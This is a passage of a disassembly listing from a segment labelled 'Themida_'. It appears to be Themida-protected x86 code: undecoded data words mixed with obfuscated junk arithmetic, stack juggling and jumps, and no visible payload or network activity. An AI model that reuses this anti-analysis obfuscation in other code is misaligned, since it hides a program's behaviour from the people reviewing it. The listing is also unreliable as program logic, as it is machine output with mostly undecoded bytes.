dd 585562A3h, 0FFD7A2E9h, 241489FFh, 642912BAh, 3B15B904h
dd 0D131686Ch, 0FF6D2CE9h, 13EE81FFh, 0E94E135Eh, 0D0h
dd 52243489h, 0DF30BBBAh, 4888E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562CEA: ; CODE XREF: Themida_:0055B2EAj
push 6BB519B9h
pop ebx
shl ebx, 3
add ebx, 0CB2A5BEFh
jmp loc_55EF5B
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFF7BFEh, 3D5868h, 6B07E900h, 0EC81FFFFh, 4, 0B6241489h
dd 8012B4CCh, 39E94BC4h, 0FEFFFF00h, 70A668CFh, 4890000h
dd 80AAB424h, 0EC308BECh, 0FFDB93E9h, 24148BFFh, 4C481h
dd 0AAE90000h, 5A00002Eh, 2774BA52h, 0F2810B9Dh, 15147425h
dd 0FFFFBD55h, 0C281FFFFh, 34456442h, 0EA81EA29h, 34456442h
dd 0FF3E12E9h, 0E18159FFh, 378870ABh, 63E9D9F7h, 0FFFFFF78h
dd 0C8B2434h, 33E95324h, 100000Bh, 0C1815DE9h, 4, 2474FF51h
dd 0AEE95904h, 55FFFFF2h, 0BF085168h, 0C1EEE938h, 0E958FFFFh
dd 53Fh, 24343358h, 33243431h, 895C2434h, 27BB241Ch, 5246385Eh
dd 813841BAh, 0B85033h, 0E9000000h, 0FFFF3527h, 0A504DF04h
dd 46E045Bh, 91B652D9h, 0FFCA7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562DE1: ; CODE XREF: Themida_:0055926Cj
sub bl, 56h
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_564565
; ---------------------------------------------------------------------------
db 57h
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 68522414h, 6C704EA4h
dd 2454295Ah, 525E5A04h, 89433BBAh, 0AEA8138h, 0E90A0049h
dd 0FFFFEFC9h, 0E95AD501h, 0FFFF0613h
; ---------------------------------------------------------------------------
loc_562E38: ; CODE XREF: Themida_:005618FBj
mov ebp, 62364369h
jmp loc_5590B3
; ---------------------------------------------------------------------------
dw 3487h
dd 24248B24h, 0FEFDEBE9h, 0E9DAF7FFh, 0FFFFCD71h, 4BF57h
dd 71E90000h, 55FFFF2Ch, 206E97BDh, 0E9DDF743h, 0FFFF74DDh
dd 81E38953h, 4C3h, 0C10E900h, 0BF570000h, 3C7603C9h, 501C68h
dd 5A9BE900h, 34FFFFFFh, 808EE924h, 74FFFFFFh, 34FF0424h
dd 24048B24h, 4C481h, 54570000h, 0FF2342E9h, 5E5456FFh
dd 0FF1AA4E9h, 240C33FFh, 33E7685Ch, 0C890000h, 4EC8124h
dd 89000000h, 8850241Ch, 58C388D0h, 5A868h, 24048900h
dd 0FF187AE9h, 0F6C688FFh, 5AF088D6h, 0BBB23704h, 0FFDCBEE9h
dd 4C483FFh, 0DA68D829h, 89000004h, 9ABF243Ch, 1165C4Dh
dd 8B3EE9F8h, 335DFFFFh, 14312414h, 24143324h, 0FF417BE9h
dd 3A568FFh, 1C890000h, 27685624h, 0E9769133h, 0FFFF3B85h
dd 1149B951h, 0C829628Ch, 81240C8Bh, 4C4h, 0C12D5900h
dd 5608117Dh, 907CAFBEh, 44D0E905h, 0EF83FFFFh, 4EC8304h
dd 0FF243C89h, 0E9042474h, 0FFFF79D9h
; ---------------------------------------------------------------------------
loc_562F58: ; CODE XREF: Themida_:0055E324j
push edi
mov edi, 16AE3C16h
push ebx
mov ebx, 51D40083h
dec ebx
jmp loc_55D08B
; ---------------------------------------------------------------------------
aIiiSG db '‰ë‰ßé',0Ah
db 'G',0
dw 5100h
dd 73235EB9h, 9022E97Ch, 433FFFFh, 24043124h, 0FEFCAFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562F89: ; CODE XREF: Themida_:00559F53j
pop esi
or eax, eax
jmp loc_55D72C
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 81241489h, 197B242Ch, 0F6E9216Ch, 1FFFFC5h, 9EE95DEFh
dd 1FFFF15h, 13DC05D8h, 0F4E90C1Dh, 88FFFFF6h, 865B66D8h
dd 0DC09E9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562FC2: ; CODE XREF: Themida_:0055A818j
sub al, cl
sub al, 5
jmp loc_55C442
; ---------------------------------------------------------------------------
db 1
dd 1C875EF3h, 24248B24h, 8868E1F7h, 89000071h, 9C502414h
dd 0FEFC53E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562FE5: ; CODE XREF: Themida_:0056422Dj
add esp, 4
pop dword ptr [esp]
pop esp
shl eax, cl
sub esp, 4
mov [esp], ebx
push edi
push ebp
mov ebp, 31EA7FD4h
jmp loc_5675C8
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 220C942Dh, 7570E920h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563016: ; CODE XREF: Themida_:0055B9D8j
add ecx, 0FFFFFFFFh
neg ecx
xor ecx, 0FFB919B4h
add ebx, 26E275E0h
add ebx, 1EA8318Fh
add ebx, ecx
sub ebx, 1EA8318Fh
sub ebx, 26E275E0h
mov ecx, [esp]
add esp, 4
jmp loc_55A87B
; ---------------------------------------------------------------------------
db 68h, 0A4h, 37h
dd 2C890000h, 4BD24h, 0EE810000h, 1C83120Ah, 0B73C681h
dd 0EE01010Ah, 1410E9h
db 0
; ---------------------------------------------------------------------------
loc_563069: ; CODE XREF: Themida_:0055D5B9j
mov ebx, esp
add ebx, 4
jmp loc_55C9A7
; ---------------------------------------------------------------------------
dw 5542h
dd 16C4E9h
db 0
; ---------------------------------------------------------------------------
loc_56307D: ; CODE XREF: Themida_:0055E03Aj
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_559AEA
; ---------------------------------------------------------------------------
loc_563087: ; CODE XREF: Themida_:0055C185j
pop ebp
jmp loc_55A9D7
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0C5h
dd 816D232Fh, 0FBC9C0F1h, 8BCF0148h, 16E9240Ch
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5630A3: ; CODE XREF: Themida_:00563D7Ej
push edx
jmp loc_554D34
; ---------------------------------------------------------------------------
loc_5630A9: ; CODE XREF: Themida_:00564196j
push 75B1h
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_564727
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 0E9582434h, 0FFFFFDD5h
; ---------------------------------------------------------------------------
loc_5630D4: ; CODE XREF: Themida_:0055433Ej
sub eax, 1DCE05AFh
sub eax, edi
add eax, 1DCE05AFh
jmp loc_55A54A
; ---------------------------------------------------------------------------
db 0BDh, 14h, 70h
dd 0E9014E03h, 0FF49B2E9h, 4C581FFh, 83000000h, 0E2E904C5h
dd 0C1FFFF3Eh, 0E94205E2h, 0FFFF1F38h, 4BBh, 5BD80100h
dd 5C240487h, 71A68h, 243C8900h, 0FFBCBFE9h, 240C89FFh
dd 370043B9h, 4B5CE92Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56312E: ; CODE XREF: Themida_:0055F7DDj
xor eax, edi
pop edi
and ebx, eax
pop eax
push edx
mov edx, 6CD969A9h
add edx, 6400840h
not edx
xor edx, 0A6BC88A5h
sub edx, 49910A61h
shr edx, 7
push esi
mov esi, 0C985286h
add esi, 5AB35A3h
add esi, 38FE7E49h
and edx, esi
jmp loc_55E9FF
; ---------------------------------------------------------------------------
dw 6ABAh
dd 8128E270h, 3649A8C1h, 57D12920h, 3649A8BFh, 0B4B5E920h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563182: ; CODE XREF: Themida_:0055501Bj
add [esp+4], edi
pop edi
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
sub esp, 4
mov [esp], ebx
jmp loc_565CB2
; ---------------------------------------------------------------------------
dd 2404895Ch, 0D7B6B7B4h, 34FFE628h, 0EC835824h, 241C8904h
dd 5652E389h, 4041BEh, 8BF2890Ah, 0C4832434h, 4AD2F704h
dd 5406CA81h, 0E94A28FAh, 0FFFF45C7h, 0E9243C87h, 0FFFFDD31h
dd 5104C483h, 0C181E189h, 4, 4E981h, 0FF510000h, 0E9042474h
dd 0FFFF10BAh
; ---------------------------------------------------------------------------
loc_5631FC: ; CODE XREF: Themida_:00553ECAj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_557C04
; ---------------------------------------------------------------------------
db 81h
dd 0DE1E53EBh, 84EB8132h, 1757665h, 188E9C3h, 0E95EFFFFh
dd 1B0Ah
; ---------------------------------------------------------------------------
loc_563220: ; CODE XREF: Themida_:00565DC2j
add ebp, 4
xchg ebp, [esp]
pop esp
push 437Fh
jmp loc_555297
; ---------------------------------------------------------------------------
aRs_2 db 'RS³=²]',0
db 0DAh
dd 80DAF65Bh, 0F280F3CAh, 7E2C07Fh, 4EC81h, 0C890000h
dd 0E9FFB524h, 3BBFh, 24BD5546h, 810E2C6Ch, 0F50933EDh
dd 1C2DE908h, 15FFFFFh, 0EC815FFBh, 4, 68240489h, 4F16h
dd 0FF06B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563281: ; CODE XREF: Themida_:00563C95j
add edi, esi
add edi, 71052828h
pop esi
jmp loc_55E30D
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24348900h, 42474FFh, 0FEFA6CE9h, 0E08950FFh, 405h
dd 40500h, 89E90000h, 89FFFF7Fh, 4C381E3h, 83000000h, 0DBE902C3h
dd 68FFFFEDh, 0FB0h, 55241489h, 5E768E68h, 0E8F5E931h
dd 9D68FFFFh, 89000039h, 5D54242Ch, 4C581h, 1CE90000h
dd 30000043h, 30E830C5h, 86D8F6C5h, 0B2B050C5h, 0F886BA04h
dd 2FC6E9h, 5B545300h, 4C381h, 0C3810000h, 4, 0FFCB4CE9h
dd 0E5905FFh, 0D0E92827h, 89FFFFF2h, 0A5B62414h, 0FFA4E9E9h
dd 81D9F7FFh, 83D290F1h, 8BF10104h, 97E92434h, 68FFFF81h
dd 0C9h, 56241489h, 4BEh, 5EF28900h, 148BD001h, 4C48324h
dd 5004C083h, 42474FFh, 8124048Bh, 4C4h, 24048F00h, 2404015Ch
dd 0F8C6E99Ch, 0BE56FFFEh, 2FDF34ADh, 895EF731h, 0ABE9307Ah
db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563383: ; CODE XREF: Themida_:0056201Aj
sub esi, 58F263EBh
push ebp
mov ebp, 315F9EC9h
add esi, 1052536Dh
sub esi, ebp
push edi
push ebp
mov ebp, 4D6C2ED8h
mov edi, ebp
pop ebp
and edi, 47CB2541h
shl edi, 4
jmp loc_56561A
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 0BDE9EF01h, 0BEFFFF8Bh, 5DC25556h, 8105E6C1h, 0A20660EEh
dd 0BE25E966h, 0EC81FFFFh, 4, 0B1240C89h, 8852534Bh, 5AD788CAh
dd 595BF888h, 6658C128h, 30C7B252h, 148B66D1h, 152FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5633F6: ; CODE XREF: Themida_:00552E37j
add edi, esi
jmp loc_55FF33
; ---------------------------------------------------------------------------
loc_5633FD: ; CODE XREF: Themida_:00564770j
pop edi
push eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_555CD3
; ---------------------------------------------------------------------------
loc_563417: ; CODE XREF: Themida_:0055A613j
add edi, 4
jmp loc_557308
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 5C45h, 0FFA0D8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56342D: ; CODE XREF: Themida_:00555331j
or ah, 0A0h
add ah, 1
shl ah, 8
add ah, 6Ah
jmp loc_559B57
; ---------------------------------------------------------------------------
dw 2F2Dh
dd 0C17AE25Eh, 0E12D07E8h, 0F73C320Bh, 2418E9D8h, 0E9590000h
dd 0FFFFA860h, 22FE1BBh, 81DBF75Fh, 14707EBh, 0B8F38170h
dd 8116E755h, 0EE0785CBh, 0AACB815Fh, 8171DB38h, 6DEBEFC3h
dd 3C9CE98Dh, 4DBDFFFFh, 295B633Eh, 5D08246Ch, 2C8FE9h
dd 4055F00h, 0E9000000h, 0FFFFAC98h, 240C8B66h, 2C481h
dd 52660000h, 0D30029B2h, 0B60F5A66h, 87048FC0h, 0FF88D7E9h
dd 4C483FFh, 8B243487h, 0C0E92424h, 66FFFFF3h, 44CF805Ah
dd 80AECF80h, 0FD888CC7h, 0A7E5E95Bh, 0DBF6FFFFh, 0FE03EBC0h
dd 25EB80CBh, 0E9EFF380h, 0FFFFB4D0h, 4EC8158h, 89000000h
dd 32BD242Ch, 0C10B6213h, 13E903E5h
db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563503: ; CODE XREF: Themida_:005589B0j
add esi, eax
mov eax, [esp]
add esp, 4
add ebx, 4A396F66h
jmp loc_557BFD
; ---------------------------------------------------------------------------
loc_563516: ; CODE XREF: Themida_:00553839j
xchg ebp, [esp]
pop esp
mov [esp], cx
jmp loc_552C38
; ---------------------------------------------------------------------------
db 87h
dd 0E95C240Ch, 3086h
; ---------------------------------------------------------------------------
loc_56352C: ; CODE XREF: Themida_:00566ADBj
sub eax, 8A56EFE6h
xor ebx, eax
jmp loc_5533D4
; ---------------------------------------------------------------------------
dd 315EF501h, 582D5DEEh, 1348076h, 22E953F0h, 8B000044h
dd 0C481241Ch, 4, 0E893E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56355A: ; CODE XREF: Themida_:00553A04j
pop edx
dec ebx
not ebx
xor ebx, 0FAD69BBCh
push ebx
mov ebx, 32A978B1h
jmp loc_55F0FA
; ---------------------------------------------------------------------------
loc_56356F: ; CODE XREF: Themida_:00565F60j
sub dh, 0AEh
dec dh
push ecx
mov cl, 22h
sub cl, 1
neg cl
xor cl, 23h
xor cl, 5Ah
jmp loc_56632E
; ---------------------------------------------------------------------------
db 0B7h
dd 8E7C0E0h, 0FEFFEF80h, 80DFF6C7h, 0C680B8C7h, 80FE2891h
dd 805B91EEh, 0C38090EBh, 80F3288Ch, 0C3808CEBh, 0EB805A90h
dd 51C30028h, 0CB0028B1h, 81240C8Bh, 4C4h, 3CC38000h, 4EC81h
dd 0C890000h, 4EC8124h, 89000000h, 0BA52243Ch, 7CC617F1h
dd 3306E952h, 0EC83FFFFh, 24048904h, 468h, 0D5E95800h
dd 0D1000010h, 81DEF7E6h, 5148FEEEh, 3032E98Ah, 685EFFFFh
dd 2A54h, 52240C89h, 0CA06E568h, 0C2815A2Eh, 0D135F91Bh
dd 815AD189h, 0D53DCAE9h, 81D90107h, 0D53DCAC1h, 3E63E907h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56362E: ; CODE XREF: Themida_:0055DF43j
not dword ptr [esp]
pop ebx
xchg ebx, [esp]
pop edx
push eax
push 1D87h
jmp loc_558236
; ---------------------------------------------------------------------------
loc_563641: ; CODE XREF: Themida_:00566B8Fj
push ebp
jmp loc_558C95
; ---------------------------------------------------------------------------
aYh db 'Yh¸',0Dh,0
dd 240C8900h, 0FFBCDAE9h, 2434FFFFh, 421BE9h, 241C8900h
dd 0FA88CF88h, 0FF0F19E9h, 81E789FFh, 4C7h, 0F8FDE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563676: ; CODE XREF: Themida_:0055B438j
xor al, dh
pop edx
push ecx
mov cl, 70h
dec cl
add cl, 96h
sub al, cl
pop ecx
sub al, 1Dh
xor dh, al
pop eax
xor dh, 8Ah
jmp loc_566321
; ---------------------------------------------------------------------------
db 1, 0E8h, 2Dh
dd 5B55781Dh, 5BDB055Dh, 0C8011125h, 5408BB53h, 0E3815104h
dd 62F77DBEh, 0FBBA5243h, 0F7761D41h, 0C7EA81D2h, 0E92E3915h
dd 4539h, 6505A7B8h, 95E9484Eh, 66FFFF61h, 0B4505153h
dd 0E9E1886Ah, 126Fh, 8904EC83h, 0EB682434h, 89000018h
dd 4832424h, 525E0424h, 0FFDBCEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5636F1: ; CODE XREF: Themida_:0055558Bj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_55DCD3
; ---------------------------------------------------------------------------
dw 248Bh
dd 2434FF24h, 0FF6AACE9h, 8BEB89FFh, 0C481242Ch, 4, 7FE9DE01h
db 24h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56371B: ; CODE XREF: Themida_:0055FAF1j
push dword ptr [esp]
jmp loc_5567FD
; ---------------------------------------------------------------------------
loc_563723: ; CODE XREF: Themida_:00556B17j
or eax, eax
jz loc_552E56
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
push esi
mov esi, 0F217505h
sub esi, 339036A8h
shr esi, 1
jmp loc_55C67D
; ---------------------------------------------------------------------------
loc_56375F: ; CODE XREF: Themida_:0055CCCEj
sub [esp+4], edx
sub dword ptr [esp+4], 4BAB7E16h
pop edx
mov ebp, [esp]
add esp, 4
push esi
mov esi, 4F0F1E0Ah
sub esi, 274E619Ah
push ebp
mov ebp, 5A75AFEh
not ebp
jmp loc_5577E0
; ---------------------------------------------------------------------------
loc_56378B: ; CODE XREF: Themida_:0055C3B3j
mov [esp], edx
mov edx, 6E1C43F3h
xor ecx, edx
push dword ptr [esp]
pop edx
push edx
mov edx, esp
push ebx
push ebp
mov ebp, 9E8444Bh
jmp loc_5656BC
; ---------------------------------------------------------------------------
dd 4C581h, 0ED810000h, 4, 5C242C87h, 51243C89h, 10F2E9h
dd 54316800h, 48B1620h, 4C48124h, 0E9000000h, 0FFFF742Ah
dd 4EC81h, 3C890000h, 4EC8124h, 89000000h, 27BD242Ch, 816D0305h
dd 4ECh, 240C8900h, 17D96853h, 0C15B38B2h, 0EBC106E3h
dd 78EB8104h, 0E9C85BF1h, 3F85h
; ---------------------------------------------------------------------------
loc_56380C: ; CODE XREF: Themida_:0055B630j
pop ebx
xor edx, ebx
push dword ptr [esp]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_557873
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 1000000h, 1C875AD3h, 24248B24h, 784A68h, 242C8900h
dd 2FB85056h, 816B0A20h, 4ECh, 243C8900h, 329FBB53h, 0D3F750D7h
dd 0EBC1D3F7h, 8BD5503h, 0E918A62Ah, 0FFFFA9ABh, 66505566h
dd 6630C8B8h, 6658C589h, 0D1E9EA29h, 46FFFFC7h, 55D4E681h
dd 0E9531DB1h, 0FFFF89A9h, 0C24E981h, 0CF296094h, 81240C8Bh
dd 4C4h, 74FF5700h, 8F5F0424h, 0E95C2404h, 0FFFFEDA1h
dd 5324048Bh, 0C381E389h, 4, 0CAF8E952h, 5B54FFFFh, 0FFEFE5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5638C1: ; CODE XREF: Themida_:0055F53Aj
mov eax, [esp]
add esp, 4
and ecx, ebx
mov ebx, [esp]
add esp, 4
shr ecx, 0Ah
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 0EC55000h
jmp loc_5589B5
; ---------------------------------------------------------------------------
db 58h, 5, 4
dd 0E9000000h, 3AFEh, 5B2434FFh, 509668h, 243C8900h, 0BB53E789h
dd 511C0B36h, 0FFA8CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56390D: ; CODE XREF: Themida_:0056147Fj
push esi
mov esi, 730B4C19h
or esi, 2BCE6068h
or esi, 36715EECh
jmp loc_561DB1
; ---------------------------------------------------------------------------
dd 57241489h, 0FF846FE9h, 2DD029FFh, 443836C9h, 0D36C6205h
dd 4875A7Eh, 482EE924h, 0BE560000h, 53942099h, 15EF029h
dd 209905C8h, 52D5394h, 8B722932h, 0C481240Ch, 4, 0E9240433h
dd 19C6h, 5A2434FFh, 4C481h, 1C870000h, 71E95C24h, 8BFFFF0Ah
dd 0C483240Ch, 0EE18104h, 57192C08h, 3282E9h, 5E0C100h
dd 0FF7920E9h, 58BE56FFh, 81295C05h, 5C055CF6h, 5EF10129h
dd 334D68h, 242C8900h, 4BDh, 0E9E90100h, 0FFFF5E65h
; ---------------------------------------------------------------------------
loc_5639B8: ; CODE XREF: Themida_:00557E58j
sub edx, 6EC6723Fh
dec edx
and edx, 27323D07h
add edx, 1068532h
xor ebp, edx
pop edx
add eax, ebp
pop ebp
push dword ptr [edi+eax*4]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
push 75A7h
mov [esp], ecx
mov ecx, 57D2105Ah
sub ecx, 1E6179BAh
and ecx, 0B867833h
xchg eax, ecx
dec eax
xchg eax, ecx
jmp loc_567C5D
; ---------------------------------------------------------------------------
loc_563A0B: ; CODE XREF: Themida_:0055C471j
pop dword ptr [esp]
pop esp
push 60B4h
mov [esp], ecx
mov ch, 0AFh
and ch, 16h
sub esp, 4
mov [esp], ebx
mov bl, 79h
xor bl, 0BCh
neg bl
push edx
jmp loc_55D530
; ---------------------------------------------------------------------------
dw 815Dh
dd 4C5h, 3156E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563A3E: ; CODE XREF: Themida_:0056702Cj
push 6B44h
jmp loc_56764E
; ---------------------------------------------------------------------------
dd 2B60F66h, 141D6866h, 0FF3EDCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563A55: ; CODE XREF: Themida_:00559846j
mov eax, [esp]
add esp, 4
push 4826h
mov [esp], esi
mov esi, 4
push edi
mov edi, 7D4F0290h
push ecx
mov ecx, 55E535ADh
shl ecx, 8
or ecx, 3C294D40h
sub ecx, 873B7D34h
sub eax, ecx
jmp loc_55433D
; ---------------------------------------------------------------------------
dw 0E468h
dd 8900003Fh, 64E9240Ch, 5700001Dh, 0FF4756E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563A9D: ; CODE XREF: Themida_:0055EBB2j
mov ecx, [ebx]
jmp loc_5624DE
; ---------------------------------------------------------------------------
dd 0FEF18FE9h, 4EC781FFh, 1964B92h, 0F5685FF9h, 89000013h
dd 4BB241Ch, 81000000h, 764514C1h, 81D9016Dh, 764514E9h
dd 241C8B6Dh, 0E904C483h, 0FFFFAF70h
; ---------------------------------------------------------------------------
loc_563AD8: ; CODE XREF: Themida_:00563D6Dj
xor edx, esi
pop esi
jmp loc_566793
; ---------------------------------------------------------------------------
dd 0B8240489h, 25B0106Fh, 3508E0C1h, 0A0AD4DE6h, 5758C689h
dd 0B4448ABFh, 5FF98938h, 2610F181h, 0E181088Ch, 49B474BFh
dd 0FFF1F7E9h, 7FD968FFh, 0C890000h, 0D4BE5624h, 4E503B5Dh
dd 0FF9E49E9h, 4EC83FFh, 0E9240489h, 0FFFF9CEEh, 0EEE980h
dd 0E0C059C8h, 3E0C007h, 0F6503524h, 0E7E92414h, 5CFFFF4Ah
dd 8B66C331h, 54552414h, 0FFA50FE9h, 0C3156FFh, 240C3324h
dd 0F7240C31h, 65CC68D1h, 0C890000h, 2474FF24h, 48F5904h
dd 2434FF24h, 7497685Eh, 34890000h, 348B5424h, 4C48324h
dd 4C681h, 3CE90000h, 66FFFFE5h, 0C781664Fh, 81664161h
dd 66D913C7h, 1176C381h, 66FB2966h, 1176EB81h, 8B2434FFh
dd 8956243Ch, 4C681E6h, 0E9000000h, 0FFFF0875h, 0E0C034B0h
dd 5E8C007h, 0C7005F34h, 3AC78058h, 0F3E9F830h, 5FFFF3Bh
dd 761A2461h, 7746E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563BDA: ; CODE XREF: Themida_:0055AB7Fj
add esp, 4
add esi, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55FB3E
; ---------------------------------------------------------------------------
loc_563BF9: ; CODE XREF: Themida_:005619C2j
pop eax
jmp loc_55BA09
; ---------------------------------------------------------------------------
loc_563BFF: ; CODE XREF: Themida_:005570F9j
sub edx, 0B5E71019h
mov ebp, edx
pop edx
xor ebp, 1EB474A5h
jmp loc_55C665
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 0C4815824h, 4, 50E28952h, 4B8h, 58C20100h
dd 3304EA83h, 14312414h, 24143324h, 241C895Ch, 0C9685B54h
dd 89000064h, 4B82404h, 81000000h, 76202BEBh, 4EEB815Dh
dd 15D237Ah, 4EC381C3h, 0E95D237Ah, 0FFFF9ADEh, 83242C89h
dd 0F5E904ECh
db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563C6F: ; CODE XREF: Themida_:0056169Cj
mov edi, 45EA687Eh
push 46FEh
mov [esp], eax
mov eax, 7C4E335Ch
and edi, eax
pop eax
not edi
add edi, 0BDDF7749h
xor esi, edi
pop edi
sub edi, 71052828h
jmp loc_563281
; ---------------------------------------------------------------------------
dw 0D568h
dd 59559410h, 81D9F741h, 0F09533E9h, 248BE9A7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563CAE: ; CODE XREF: Themida_:0055CF77j
mov edi, [esp]
add esp, 4
push ecx
push ebp
mov ebp, 2Ch
mov ecx, ebp
pop ebp
jmp loc_55720C
; ---------------------------------------------------------------------------
loc_563CC6: ; CODE XREF: Themida_:0055E9FAj
push esi
mov esi, esp
jmp loc_55ACCD
; ---------------------------------------------------------------------------
loc_563CCE: ; CODE XREF: Themida_:005597B3j
push dword ptr [esp]
jmp loc_56421E
; ---------------------------------------------------------------------------
dw 835Ch
dd 348904ECh, 34FF5424h, 0C4835E24h, 4EC8304h, 0FF822EE9h
dd 1136BFFFh, 0BA5238E1h, 45C7514Ch, 0F708E2C1h, 0F2814ADAh
dd 16686297h, 6856F281h, 5CE97CF2h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563D0F: ; CODE XREF: Themida_:00558C13j
push 5CB767FBh
mov edx, [esp]
add esp, 4
push 5116h
mov [esp], ebx
mov ebx, 6ACB2403h
inc ebx
and ebx, 26AE47FAh
not ebx
add ebx, 69432B1Dh
sub ebx, 46B9271Dh
add edx, 2F26187Ch
add edx, 780E783Eh
add edx, ebx
sub edx, 780E783Eh
push ebp
mov ebp, 733B56C7h
shl ebp, 8
add ebp, 0F3CF517Ch
sub edx, ebp
pop ebp
pop ebx
dec edx
push esi
mov esi, 5CB767F8h
jmp loc_563AD8
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF8682h
; ---------------------------------------------------------------------------
loc_563D78: ; CODE XREF: Themida_:005613AEj
add ecx, 4
jmp loc_5630A3
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 81E95600h, 0FFFFFF35h, 0C8B2434h, 4C48324h, 8904EC83h
dd 5A542414h, 0FFE95456h, 66FFFFB5h, 53240C8Bh, 0FEFB55E9h
dd 0C5295DFFh, 66685058h, 5849C32Fh, 158C501h, 66ED81FDh
dd 8149C32Fh, 0C329FFC5h, 0C5815F20h, 4, 0D0E95453h, 51000033h
dd 240C8B54h, 8104C483h, 4C1h, 0DE6EE900h, 0EF81FFFFh
dd 5CCB74FCh, 335FFE29h, 34312434h, 24343324h, 0E924248Bh
dd 0FFFF3B17h
; ---------------------------------------------------------------------------
loc_563E08: ; CODE XREF: Themida_:00558C1Ej
mov ebp, 0FFFFFFFFh
mov edi, ebp
pop ebp
jmp loc_5570BD
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 2
dd 387EC981h, 2DE90234h, 0B6FFFF3Bh, 3AB6E9A8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563E2A: ; CODE XREF: Themida_:005656B7j
add ecx, 786A3F7Eh
add ecx, edx
jmp loc_55E593
; ---------------------------------------------------------------------------
db 1
dd 5AEB81FBh, 0E914F72Bh, 0FFFF4AF4h
; ---------------------------------------------------------------------------
loc_563E44: ; CODE XREF: Themida_:005540B6j
pop ebp
xor edx, esi
push dword ptr [esp]
jmp loc_560C83
; ---------------------------------------------------------------------------
db 81h
dd 67273DC7h, 7CFFE97Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563E5A: ; CODE XREF: Themida_:0055C66Bj
not ebp
jmp loc_55AB74
; ---------------------------------------------------------------------------
db 1, 0C7h, 81h
dd 617C9DEFh, 86685227h, 8900001Ch, 8DBD242Ch, 890D6B17h
dd 0D7015DEAh, 24048B5Ah, 4C481h, 0EC830000h, 243C8904h
dd 42474FFh, 24048F5Fh, 0F9F7665Ch, 0FF775FE9h, 240C89FFh
dd 4E0A68h, 291EE900h, 0E95A0000h, 2B4Ah
; ---------------------------------------------------------------------------
loc_563EB0: ; CODE XREF: Themida_:0055956Bj
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, 4CA4E1Ch
jmp loc_556473
; ---------------------------------------------------------------------------
loc_563EC1: ; CODE XREF: Themida_:0055D985j
xchg ebp, [esp]
pop esp
add ebp, 2B8F18B9h
add ebp, 6C8A6FF4h
sub ebp, 45464EA1h
add ebp, 1589418Bh
add ebp, ecx
sub ebp, 1589418Bh
add ebp, 45464EA1h
push ecx
jmp loc_554609
; ---------------------------------------------------------------------------
loc_563EF1: ; CODE XREF: Themida_:00565BE6j
add esp, 4
and eax, edi
mov edi, [esp]
add esp, 4
shr eax, 18h
xor eax, ecx
jmp loc_560F74
; ---------------------------------------------------------------------------
aRs_3 db '^Ré',0Dh,'!',0
align 10h
loc_563F10: ; CODE XREF: Themida_:005562F2j
xchg edi, [esp]
mov esp, [esp]
mov [esp], edx
